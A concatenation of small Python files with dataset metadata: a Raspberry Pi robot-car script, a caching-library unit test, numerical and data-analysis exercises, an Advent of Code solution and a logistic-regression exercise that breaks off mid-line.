pins\nGPIO.setup(TRIG_PIN_1, GPIO.OUT)\nGPIO.setup(ECHO_PIN_1, GPIO.IN)\nGPIO.setup(TRIG_PIN_2, GPIO.OUT)\nGPIO.setup(ECHO_PIN_2, GPIO.IN)\nGPIO.setup(TRIG_PIN_3, GPIO.OUT)\nGPIO.setup(ECHO_PIN_3, GPIO.IN)\n\ndef measure_distance(trig_pin, echo_pin):\n GPIO.output(trig_pin, True)\n time.sleep(0.000001)\n GPIO.output(trig_pin, False)\n\n while GPIO.input(echo_pin) == 0:\n pulse_start = time.time()\n \n\n while GPIO.input(echo_pin) == 1:\n pulse_end = time.time()\n \n pulse_duration = pulse_end - pulse_start\n distance = pulse_duration * 17150 # Speed of sound: 343 m/s\n return int(distance)\n\nKp = 0.5\nKd = 0.2\nerrors = 0\noutput = 0\nderivative = 0\nprevious_error = 0\nservoCenter = 85\n\ndef PIDUltrasonic():\n global previous_error \n distance_L = measure_distance(TRIG_PIN_1, ECHO_PIN_1)\n distance_R = measure_distance(TRIG_PIN_2, ECHO_PIN_2)\n distance_C = measure_distance(TRIG_PIN_3, ECHO_PIN_3)\n distance_L = max(min(distance_L, 80), 2)\n distance_R = max(min(distance_R, 80), 2)\n distance_C = max(min(distance_C, 80), 2)\n \n valDistance = distance_R - distance_L\n errors = valDistance - 0\n derivative = errors - previous_error\n output = ((Kp * errors) + (Kd * derivative))\n output = max(min(output, 35), -40)\n previous_error = errors\n valServo = servoCenter-output\n # print(output)\n servo.angle = valServo\n # time.sleep(0.1)\n \n\ntry:\n # while True:\n servo.angle = servoCenter\n # time.sleep(0.5) \n forward(30)\n mode = 0\n while True: \n ret, frame = cam.get()\n crop = frame [150:1200 , 0:1200]\n height, width = frame.shape[:2]\n flipped_frame = cv2.flip(frame, -1) \n times = time.time()\n while time.time() - times < 40 :\n distance_L = measure_distance(TRIG_PIN_1, ECHO_PIN_1)\n distance_R = measure_distance(TRIG_PIN_2, ECHO_PIN_2)\n distance_C = measure_distance(TRIG_PIN_3, ECHO_PIN_3)\n distance_L = max(min(distance_L, 80), 2)\n distance_R = max(min(distance_R, 80), 2)\n distance_C = max(min(distance_C, 80), 2)\n print(\"distance_L = \", distance_L, \" distance_C = \", distance_C, \" distance_R = \",distance_R )\n \n # ret, frame = cam.get()\n # crop = cam [150:1200 , 0:1200]\n if distance_C < 70:\n servo.angle = 110\n \n Orange_detect = DetectOrange(flipped_frame)\n Blue_detect = DetectBlue(flipped_frame)\n Orange_contours, _ = cv2.findContours(Orange_detect, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n Blue_contours, _ = cv2.findContours(Blue_detect, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n if len(Orange_contours) > 0:\n for cnt in Orange_contours:\n area = cv2.contourArea(cnt)\n if area > 1000: \n x, y, w, h = cv2.boundingRect(cnt)\n print(\"find\")\n else:\n PIDUltrasonic()\n # print(count)\n time.sleep(0.01)\n\n while True:\n forward(0)\n \n # print(\"distance_L = \", distance_L, \" distance_C = \", distance_C, \" distance_R = \",distance_R )\n \n # time.sleep(0.5)\n # Call the DTCT function to get the distance\n\n # ret, frame = cam.get()\n # flipped_frame = cv2.flip(frame, -1) \n \n # Orange_detect = DetectOrange(flipped_frame)\n # Blue_detect = DetectBlue(flipped_frame)\n # Orange_contours, _ = cv2.findContours(Orange_detect, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n # Blue_contours, _ = cv2.findContours(Blue_detect, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n # height, width = frame.shape[:2]\n # x = (width // 3) * 2\n # center_y = height // 2\n \n \n # cv2.line(frame, (0, center_y), (width, center_y), (0, 0, 0), 2) \n # if len(Orange_contours) > 0:\n # for cnt in Orange_contours:\n # area = cv2.contourArea(cnt)\n # if area > 180: \n # x, y, w, h = cv2.boundingRect(cnt)\n # center_x = x + w // 2\n # print(area)\n # times = time.time()\n # while time.time() - times < 2.2 :\n # forward(20)\n # servo.angle = 50\n # times = time.time()\n # while time.time() - times < 1.1 :\n # servo.angle = 85\n # while True:\n # stopM()\n # break\n \n # if len(Orange_contours) > 0:\n # for cnt in Orange_contours:\n # area = cv2.contourArea(cnt)\n # x, y, w, h = cv2.boundingRect(cnt)\n # #center_x = x + w // 2 \n # time.sleep(0.1)\n # if area > 1400 and y > 50 :\n # print(area)\n # times = time.time()\n # while time.time() - times < 0.65 :\n # servo.angle = 110\n # times = time.time()\n # while time.time() - times < 1.1 :\n # # servo.angle = 85\n # if d > 50 :\n # print(distance_center)\n \n \n # else:\n # #forward(30)\n # pass\n\nexcept KeyboardInterrupt:\n pass\n\nGPIO.output(in1, GPIO.LOW)\nGPIO.output(in2, GPIO.LOW)\ntime.sleep(0.5)\nGPIO.cleanup()\ncam.shutdown()\n\n# Stop the servo and clean up GPIO\n\n\n", "repo_name": "Beam1pnzaza/WRO.Easykids-OMO", "sub_path": "Code/TestQulifyTest.py", "file_name": "TestQulifyTest.py", "file_ext": "py", "file_size_in_byte": 7203, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 9, "usage_type": "call"}, {"api_name": "camera.camera", "line_number": 10, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 25, "usage_type": "call"}, {"api_name": "gpiozero.pins.pigpio.PiGPIOFactory", "line_number": 28, "usage_type": "call"}, {"api_name": "gpiozero.AngularServo", "line_number": 29, "usage_type": "call"}, {"api_name": "RPi.GPIO.setmode", "line_number": 32, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 32, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 32, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 33, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 33, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 33, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 34, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 34, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 34, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 35, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 35, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 35, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.PWM", "line_number": 36, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 36, "usage_type": "name"}, {"api_name": "RPi.GPIO.output", "line_number": 40, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 40, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 40, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 41, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 41, "usage_type": "name"}, {"api_name": "RPi.GPIO.HIGH", "line_number": 41, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 44, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 44, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 44, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 45, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 45, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 45, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 57, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 57, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 57, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 58, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 58, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 58, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 59, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 59, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 60, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 60, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 60, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 61, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 61, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 61, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 62, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 62, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 62, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 65, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 65, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 67, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 67, "usage_type": "name"}, {"api_name": "RPi.GPIO.input", "line_number": 69, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 69, "usage_type": "name"}, {"api_name": "time.time", "line_number": 70, "usage_type": "call"}, {"api_name": "RPi.GPIO.input", "line_number": 73, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 73, "usage_type": "name"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 119, "usage_type": "call"}, {"api_name": "time.time", "line_number": 120, "usage_type": "call"}, {"api_name": "time.time", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 137, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 137, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 138, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 138, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 138, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 141, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 143, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 148, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 214, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 214, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 214, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 215, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 215, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 215, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 216, "usage_type": "call"}, {"api_name": "RPi.GPIO.cleanup", "line_number": 217, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 217, "usage_type": "name"}]} {"seq_id": "75085134653", "text": "from __future__ import with_statement\n\nimport unittest\n\nfrom mock import Mock\n\nimport pycacher\nfrom pycacher.backends import LocalBackend\nfrom pycacher.exceptions import OutOfBatcherContextRegistrationException\n\nclass BatcherTestCase(unittest.TestCase):\n \n def setUp(self):\n self.cacher = pycacher.Cacher(backend=LocalBackend())\n self.batcher = self.cacher.create_batcher()\n\n @self.cacher.cache()\n def cached_function(a, b):\n return a + b\n\n self.cached_function = cached_function\n\n def create_mock(self, *args, **kwargs):\n mock = Mock(*args, **kwargs)\n mock.__name__ = str(random.random() * 10)\n\n return mock\n\n def test_get_keys(self):\n \n self.batcher.add('test-1')\n self.batcher.add('test-2')\n self.batcher.add('test-3')\n\n assert self.batcher.get_keys() == set(['test-1', 'test-2', 'test-3'])\n\n def test_add_list(self):\n \n self.batcher.add(['test-1', 'test-2', 'test-3'])\n \n assert self.batcher.get_keys() == set(['test-1', 'test-2', 'test-3'])\n\n def test_last_batched_values(self):\n self.batcher.add(['test-1', 'test-2', 'test-3'])\n\n values = self.batcher.batch()\n\n assert self.batcher.get_last_batched_values() == values\n\n def test_reset(self):\n self.batcher.add('test-1')\n self.batcher.add('test-2')\n self.batcher.add('test-3')\n\n self.batcher.reset()\n\n self.assertEqual(self.batcher.get_keys(), set([]))\n\n def test_batch(self):\n \n self.cacher.backend.set('test-1', 'value-1')\n self.cacher.backend.set('test-2', 'value-2')\n self.cacher.backend.set('test-3', 'value-3')\n\n self.batcher.add('test-1')\n self.batcher.add('test-2')\n self.batcher.add('test-3')\n self.batcher.add('test-4')\n\n expected = {\n\n \"test-1\" : \"value-1\",\n \"test-2\" : \"value-2\",\n \"test-3\" : \"value-3\",\n \"test-4\" : None\n }\n\n assert self.batcher.batch() == expected\n \n def test_register(self):\n \n cache_key = self.cached_function.build_cache_key(1, 2)\n cache_key_2 = self.cached_function.build_cache_key(1, 3)\n\n self.batcher.register(self.cached_function, 1, 2)\n self.batcher.register(self.cached_function, 1, 3)\n\n assert self.batcher.get_keys() == set([cache_key, cache_key_2])\n\n def test_register_hook_on_cacher_level(self):\n \n on_register = Mock()\n self.batcher.cacher.add_hook('register', on_register)\n\n self.batcher.register(self.cached_function, 1, 2)\n\n assert on_register.call_count == 1\n\n def test_register_hook_on_batcher_level(self):\n \n on_register = Mock()\n self.batcher.add_hook('register', on_register)\n\n self.batcher.register(self.cached_function, 1, 2)\n\n assert on_register.call_count == 1\n\n def test_call_hook_on_cacher_level(self):\n \n on_call = Mock()\n self.batcher.cacher.add_hook('call', on_call)\n\n with self.batcher:\n self.cached_function(1, 2)\n\n on_call.assert_called_once_with('pycacher.test.test_batcher.cached_function:1:2')\n\n def test_call_hook_on_batcher_level(self):\n \n on_call = Mock()\n self.batcher.add_hook('call', on_call)\n\n with self.batcher:\n self.cached_function(1, 2)\n\n on_call.assert_called_once_with('pycacher.test.test_batcher.cached_function:1:2')\n\n def test_context_manager_register(self):\n \n with self.batcher:\n self.cached_function.register(1, 2)\n self.cached_function.register(1, 3)\n\n cache_key = self.cached_function.build_cache_key(1, 2)\n cache_key_2 = self.cached_function.build_cache_key(1, 3)\n \n self.assertFalse(self.batcher.is_batched(cache_key))\n \n self.batcher.batch()\n\n self.assertTrue(self.batcher.is_batched(cache_key))\n\n def test_context_manager_batch(self):\n with self.batcher:\n self.cached_function.register(1, 2)\n self.cached_function.register(1, 3)\n \n cache_key = self.cached_function.build_cache_key(1, 2)\n cache_key_2 = self.cached_function.build_cache_key(1, 3)\n \n #Run the actual batching.\n self.batcher.batch()\n\n with self.batcher:\n #TODO : test if the cached function actually returns the value from the batcher\n #instead of actually executing\n assert self.cached_function(1, 2) == 3\n assert self.cached_function(1, 3) == 4\n\n def test_context_manager_autobatch(self):\n \n with self.batcher.autobatch():\n self.cached_function.register(1, 2)\n self.cached_function.register(1, 3)\n \n cache_key = self.cached_function.build_cache_key(1, 2)\n\n self.assertTrue(self.batcher.is_batched(cache_key))\n \n def test_should_raise_out_of_context_exception(self):\n self.assertRaises(OutOfBatcherContextRegistrationException,\n self.cached_function.register, 1, 2)\n", "repo_name": "garindra/pycacher", "sub_path": "pycacher/test/test_batcher.py", "file_name": "test_batcher.py", "file_ext": "py", "file_size_in_byte": 5140, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pycacher.Cacher", "line_number": 14, "usage_type": "call"}, {"api_name": "pycacher.backends.LocalBackend", "line_number": 14, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 24, "usage_type": "call"}, {"api_name": "mock.__name__", "line_number": 25, "usage_type": "attribute"}, {"api_name": "mock.Mock", "line_number": 92, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 101, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 110, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 120, "usage_type": "call"}, {"api_name": "pycacher.exceptions.OutOfBatcherContextRegistrationException", "line_number": 171, "usage_type": "argument"}]} {"seq_id": "1384684995", "text": "# Implementacja aproksymacji wielomianowej metodą najmniejszych kwadratów\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nX = np.array([-5, -3, -1, 1, 3, 5])\nY = np.array([0.5, 6, 0.3, 12, 15, 8])\nlen_x = len(X)\n\ndef apro(stopien_wiel):\n x_mat = np.zeros([stopien_wiel+1, stopien_wiel +1])\n y_mat = np.zeros([stopien_wiel+1])\n for i in range(0, stopien_wiel+1):\n for j in range(0, stopien_wiel+1):\n if i == j == 0:\n x_mat[i,j] = X.shape[0]\n elif (i == 1) and (j > 0):\n x_mat[i,j] = sum(X[s] ** (j + 1) for s in range(0, X.shape[0]))\n else:\n x_mat[i,j] = sum(X[s] ** (i+j) for s in range(0, X.shape[0]))\n\n for i in range(0, stopien_wiel+1): \n y_mat[i] = sum(Y[s] * (X[s] ** i) for s in range(0, Y.shape[0]))\n print('Układ równań:', x_mat)\n print('Y', y_mat)\n wsp = np.linalg.solve(x_mat, y_mat)\n for i in range(0, stopien_wiel+1):\n wsp[i] = round(wsp[i], 2)\n print('Współczynniki a:', wsp)\n return wsp\n\n######## WPISZ STOPIEN #########################################\nstopien_wiel = 3\nmac_A = apro(stopien_wiel)\n\ndl_mac_A = len(mac_A)\nmac_x = np.linspace(-5, 5, num = 100)\ndl_x = len(mac_x)\nmac_y =[]\n\nfor x in range(dl_x): # Sumowanie wielomianu, obliczonego z danych X\n y=0\n for a in range(dl_mac_A): # Przy danej potędze\n y = y + mac_A[a]*(mac_x[x]**a)\n mac_y.append(y)\n\nplt.figure()\nplt.plot(mac_x, mac_y, '-')\nplt.plot(X, Y, 'o')\nplt.show()\n", "repo_name": "jaku98/NumMethod", "sub_path": "Ex4.py", "file_name": "Ex4.py", "file_ext": "py", "file_size_in_byte": 1511, "program_lang": "python", "lang": "pl", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.linalg.solve", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}]} {"seq_id": "27512326678", "text": "import argparse\n\n\ndef is_full_overlap(start1: int, end1: int, start2: int, end2: int) -> bool:\n # is 1 inside 2\n if start1 >= start2 and end1 <= end2:\n return True\n # is 2 inside 1\n if start1 <= start2 and end1 >= end2:\n return True\n return False\n\n\ndef is_overlap(start1: int, end1: int, start2: int, end2: int) -> bool:\n if start1 >= start2 and start1 <= end2:\n return True\n if end1 >= start2 and end1 <= end2:\n return True\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"filename\", help=\"input filename\")\n args = parser.parse_args()\n\n full_overlap_count = 0\n overlap_count = 0\n with open(args.filename) as assignments_file:\n for line in assignments_file.readlines():\n line = line.strip()\n\n if not len(line):\n continue\n\n elf1, elf2 = line.split(',')\n\n s1, e1 = elf1.split('-')\n s2, e2 = elf2.split('-')\n\n if is_full_overlap(int(s1), int(e1), int(s2), int(e2)):\n full_overlap_count += 1\n overlap_count += 1\n continue\n\n if is_overlap(int(s1), int(e1), int(s2), int(e2)):\n overlap_count += 1\n\n print(overlap_count)\n\nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "lafferc/adventofcode", "sub_path": "2022/day04/camp_cleanup.py", "file_name": "camp_cleanup.py", "file_ext": "py", "file_size_in_byte": 1306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}]} {"seq_id": "38655872325", "text": "import pandas as pd\nfrom matplotlib import pyplot as plt\n\n#input\nfile_path1 = 'students_info.xlsx'\nfile_path2 = 'results_ejudge.html'\ndf1 = pd.read_excel(file_path1, index_col=0)\ndf2 = pd.read_html(file_path2, index_col=0)[0]\ndf = pd.merge(df1,df2, left_on='login', right_on='User')\n\n#main?\ngroupbyFaculty = df.groupby(by='group_faculty').mean()\ngroupbyOut = df.groupby(by='group_out').mean()\n\n#Task 1 output\nfig, axis = plt.subplots(1,2)\ngroupbyFaculty['Solved'].plot(ax=axis[0], xlabel='group_faculty', kind='bar')\ngroupbyOut['Solved'].plot(ax=axis[1],xlabel='group_out', kind='bar')\nplt.setp(axis, ylim=(0,8))\n#plt.show()\n\n#Task 2 output\n#print(df[(df['G'] > 10) | (df['H'] > 10)]) #to see the genius dataFrame\nprint('From faculties:', pd.unique(df[(df['G'] > 10) | (df['H'] > 10)]['group_faculty']))\nprint('to groups:', pd.unique(df[(df['G'] > 10) | (df['H'] > 10)]['group_out']))\n\n'''#dlc to Task 2, not an additional task\nprint()\nfor i in range(len(df[(df['G'] > 10) | (df['H'] > 10)].index)):\n print('student', df[(df['G'] > 10) | (df['H'] > 10)].iat[i,2],\n 'from faculty', df[(df['G'] > 10) | (df['H'] > 10)].iat[i,0],\n 'to group', df[(df['G'] > 10) | (df['H'] > 10)].iat[i,1])'''\n\nprint('\\nturtle')", "repo_name": "glitchAlex/pandas", "sub_path": "lab_pd_3.py", "file_name": "lab_pd_3.py", "file_ext": "py", "file_size_in_byte": 1228, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_excel", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "pandas.unique", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.unique", "line_number": 25, "usage_type": "call"}]} {"seq_id": "37753156680", "text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef display(pdData):\n positive = pdData[pdData['Admitted'] == 1]\n negative = pdData[pdData['Admitted'] == 0]\n\n plt.scatter(positive['Exam1'],positive['Exam2'],s=30,c='b',marker='o',label='Admitted')\n plt.scatter(negative['Exam1'],negative['Exam2'],s=30,c='r',marker='x',label='UNAdmitted')\n\n plt.legend()\n plt.xlabel(\"Exam1 Score\")\n plt.ylabel(\"Exam2 Score\")\n plt.show()\n\ndef init_param(pdData):\n pdData.insert(0, 'Ones', 1)\n orig_data = pdData.values ##变为矩阵\n cols = orig_data.shape[1]\n\n X = orig_data[:, 0:cols - 1] # 得分\n y = orig_data[:, cols - 1:cols] # 标签\n ##构建参数矩阵\n theta = np.zeros([1,orig_data.shape[1] - 1])\n return orig_data,X,y,theta\n\ndef sigmoid(z):\n return 1 / (1 + np.exp(-z))\n\ndef model(X, theta):\n return sigmoid(np.dot(X, theta.T))\n\n####损失函数（实现似然函数）,\ndef cost_func(X, y, theta):\n left = np.multiply(-y, np.log(model(X, theta)))\n right = np.multiply(1 - y, np.log(1 - model(X, theta)))\n return np.sum(left - right) / (len(X))\n\n\n'''目标：建立分类器\n 设定阈值：根据阈值判断录取结果\n 要完成的模块：\n sigmodi:映射到概率的函数\n model:返回预测结果值\n cost：根据参数计算损失\n gradient：计算每个参数的梯度方向\n descent：进行参数更新\n accuracy：计算精度\n'''\n\n####计算梯度,计算每个参数的梯度\ndef gradient(X, y, theta):\n grad = np.zeros(theta.shape) ##占位\n error = (model(X, theta) - y)\n # print(error)\n error = error[:, 1]\n\n for j in range(len(theta.ravel())):\n term = np.multiply(error, X[:, j]) ###X的行表示样本，列表示特征\n grad[0, j] = np.sum(term) / len(X)\n return grad\n\n\n# print(gradient(X,y,theta))\n\n###比较三种不同的梯度下降方法\nSTOP_ITER = 0\nSTOP_COST = 1\nSTOP_GRAD = 2\n\n\ndef stopCriterion(type,value, threshod):\n if type == STOP_ITER:\n return value > threshod\n elif type == STOP_COST:\n return abs(value[-1] - value[-2] < threshod)\n elif type == STOP_GRAD:\n return np.linalg.norm(value) < threshod\n\n\n###洗牌,避免数据收集过程中有规律，打乱数据，可以得到更好的模型\nimport numpy.random\n\n\ndef shuffleData(data):\n np.random.shuffle(data)\n cols = data.shape[1]\n X = data[:, 0:cols - 1]\n y = data[:, cols - 1]\n return X, y\n\n\n####梯度下降求解\nimport time\ndef descent(data, theta, batchSize, stopType, thresh, alpha):\n init_time = time.time()\n i = 0 # 迭代次数\n k = 0 # batch\n X, y = shuffleData(data)\n grad = np.zeros(theta.shape)\n costs = [cost_func(X, y, theta)]\n\n while True:\n grad = gradient(X[k:k + batchSize], y[k:k + batchSize], theta)\n k += batchSize\n if k >= 100:\n k = 0\n X, y = shuffleData(data)\n theta = theta - alpha * grad ##参数更新\n costs.append(cost_func(X, y, theta)) ##计算新的损失\n i += 1\n\n if stopType == STOP_ITER:\n value = i\n elif stopType == STOP_COST:\n value = costs\n elif stopType == STOP_GRAD:\n value = grad\n if stopCriterion(stopType, value, thresh): break\n\n return theta, i - 1, costs, grad, time.time() - init_time\n\n\ndef RunExp(data, theta, batchSize, stopType, thresh, alpha):\n theta, iter, costs, grad, dur = descent(data, theta, batchSize, stopType, thresh, alpha)\n # name = \"Original\" if (data[:, 1] > 2).sum() > 1 else \"Scaled\"\n # name += \"data- learning rate:{}-\".format(alpha)\n #\n # print(\"***{}\\nTheta:{}-Iter:{}-Last cost:{:03.2f} - Duration:{:03.2f}s\".format(name, theta, iter, costs[-1], dur))\n #\n # plt.plot(np.arange(len(costs)), costs, 'r')\n # plt.xlabel(\"Iterations\")\n # plt.ylabel(\"Cost\")\n # plt.title(\"Error vs Itetarion\")\n # plt.show()\n return theta\n\ndef decisionBoundary(theta, df):\n # learning_parameters = param\n x1 = np.arange(20, 100)\n x2 = -(x1 * theta[0][1]) / theta[0][2]\n # neg, pos, data = LoadData()\n\n # 设定标签\n pos = df[df['Admitted'] == 1] # 'Admitted'==1 为正向类\n neg = df[df['Admitted'] == 0] # 'Admitted'==0 为负向类\n\n plt.scatter(neg['Exam1'], neg['Exam2'], label='not admitted', color='red', marker='2')\n plt.scatter(pos['Exam1'], pos['Exam2'], label='admitted', color='blue', marker='^')\n plt.plot(x1, x2)\n plt.legend(loc=0, ncol=1)\n plt.title('Decision Boundary')\n plt.xlabel('score1')\n plt.ylabel('score2')\n plt.show()\n\nif __name__ == \"__main__\":\n # 1 导入数据并进行数据可视化\n ## 1.1 导入数据\n path = \"ex2data1.txt\"\n pdData = pd.read_csv(path, header=None, names=['Exam1', 'Exam2', 'Admitted']) # 初始数据\n ## 1.2 画出录取和未录取的散点分布图\n # display(pdData)\n\n # 2、逻辑回归参数初始化为0，然后计算代价函数\n ## 2.1 参数初始化为0\n orig_data, X, y, theta = init_param(pdData) # 插入ones的初试数据，ones+得分，标签，theta参数\n ## 2.2 计算代价\n cost = cost_func(X, y, theta)\n print(cost)\n\n # 3、选择一种优化方法求解逻辑回归参数\n n = 100\n theta_ = RunExp(orig_data, theta, n, STOP_ITER, thresh=12000, alpha=0.00000012) # 迭代法求解theta参数\n print(\"theta:\",theta_)\n # 4、两次考试成绩为45,85的录取概率\n test = np.array([[1], [45.0],[85.0]],dtype=np.float)\n odds = sigmoid(np.dot(theta_,test))\n print(\"odds:\",odds)\n\n # 5、画出分类边界\n decisionBoundary(theta_,pdData)\n\n\n# n = 100\n# RunExp(orig_data, theta, n, STOP_ITER, thresh=12000, alpha=0.00000012)\n# RunExp(orig_data, theta, 16, STOP_GRAD, thresh=0.002*2, alpha=0.001)\n# RunExp(orig_data,theta,50,STOP_GRAD,0.01,0.001)\n\n###计算模型精度\n\n\n##设定阈值\ndef predict(X, theta):\n return [1 if x >= 0.5 else 0 for x in model(X, theta)]\n\n#\n# scaled_X = orig_data[:, :3]\n# y = orig_data[:, 3]\n# predicts = predict(scaled_X, theta)\n#\n# correct = [1 if ((a == 